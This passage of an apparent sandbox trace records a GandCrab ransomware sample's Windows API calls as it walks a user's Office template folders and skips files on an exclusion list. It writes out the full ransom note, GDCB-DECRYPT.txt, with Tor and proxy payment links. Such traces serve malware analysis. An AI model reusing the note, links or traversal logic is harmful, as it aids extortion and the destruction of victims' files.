Chart]].glox") returned 152 [0054.530] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned 152 [0054.530] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.530] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.530] lstrcmpW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2=".") returned 1 [0054.530] lstrcmpW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="..") returned 1 [0054.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328940[[fn=Radial Picture List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox" [0054.530] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.530] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned 145 [0054.530] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned 145 [0054.530] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.530] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.530] lstrcmpW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2=".") returned 1 [0054.530] lstrcmpW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="..") returned 1 [0054.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328951[[fn=Tabbed Arc]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox" [0054.530] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.530] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned 136 [0054.530] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned 136 [0054.530] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.531] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.531] lstrcmpW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2=".") returned 1 [0054.531] lstrcmpW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="..") returned 1 [0054.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328972[[fn=Tab List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox" [0054.531] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.531] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned 134 [0054.531] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned 134 [0054.531] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.531] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.531] lstrcmpW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2=".") returned 1 [0054.531] lstrcmpW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="..") returned 1 [0054.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328975[[fn=Theme Picture Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox" [0054.531] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.531] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned 146 [0054.531] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned 146 [0054.531] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.531] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.531] lstrcmpW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2=".") returned 1 [0054.531] lstrcmpW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="..") returned 1 [0054.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328983[[fn=Theme Picture Alternating Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox" [0054.531] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.532] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned 158 [0054.532] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned 158 [0054.532] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.532] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.532] lstrcmpW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2=".") returned 1 [0054.532] lstrcmpW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="..") returned 1 [0054.532] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328986[[fn=Theme Picture Grid]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox" [0054.532] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.532] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned 144 [0054.532] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned 144 [0054.532] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.532] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.532] lstrcmpW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2=".") returned 1 [0054.532] lstrcmpW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="..") returned 1 [0054.532] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328990[[fn=Varying Width List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox" [0054.532] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.532] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned 144 [0054.532] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned 144 [0054.532] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.533] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.533] lstrcmpW (lpString1="TM03328998[[fn=Rings]].glox", lpString2=".") returned 1 [0054.533] lstrcmpW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="..") returned 1 [0054.533] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328998[[fn=Rings]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox" [0054.533] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.533] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned 131 [0054.533] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned 131 [0054.533] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.533] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0054.533] FindClose (in: hFindFile=0x5b86b0 | out: hFindFile=0x5b86b0) returned 1 [0054.544] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0054.544] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.544] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.544] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt" [0054.544] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.545] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 115 [0054.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 115 [0054.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 115 [0054.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 115 [0054.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.545] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.546] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0054.546] FindClose (in: hFindFile=0x5b8a30 | out: hFindFile=0x5b8a30) returned 1 [0054.546] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0054.546] FindClose (in: hFindFile=0x5b89f0 | out: hFindFile=0x5b89f0) returned 1 [0054.546] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.546] lstrcmpW (lpString1="User", lpString2=".") returned 1 [0054.546] lstrcmpW (lpString1="User", lpString2="..") returned 1 [0054.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="User" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" [0054.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\" [0054.546] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.546] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.546] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.546] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.546] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.546] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.546] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned 78 [0054.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*" [0054.546] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b89f0 [0054.547] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.547] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.547] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.547] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.547] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.547] lstrcmpW (lpString1="Document Themes", lpString2=".") returned 1 [0054.547] lstrcmpW (lpString1="Document Themes", lpString2="..") returned 1 [0054.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0054.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned 93 [0054.547] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.547] lstrcmpW (lpString1="SmartArt Graphics", lpString2=".") returned 1 [0054.547] lstrcmpW (lpString1="SmartArt Graphics", lpString2="..") returned 1 [0054.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0054.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned 95 [0054.547] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0054.547] FindClose (in: hFindFile=0x5b89f0 | out: hFindFile=0x5b89f0) returned 1 [0054.547] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.547] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\\\GDCB-DECRYPT.txt") returned 95 [0054.547] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0054.547] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.547] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0054.548] CloseHandle (hObject=0x504) returned 1 [0054.548] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned 78 [0054.548] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*" [0054.548] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b85b0 [0054.548] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.548] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.548] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.548] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.548] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.548] lstrcmpW (lpString1="Document Themes", lpString2=".") returned 1 [0054.548] lstrcmpW (lpString1="Document Themes", lpString2="..") returned 1 [0054.548] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0054.548] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\" [0054.548] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.549] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.549] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.549] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.549] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.549] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.549] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned 94 [0054.549] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="*" | out: 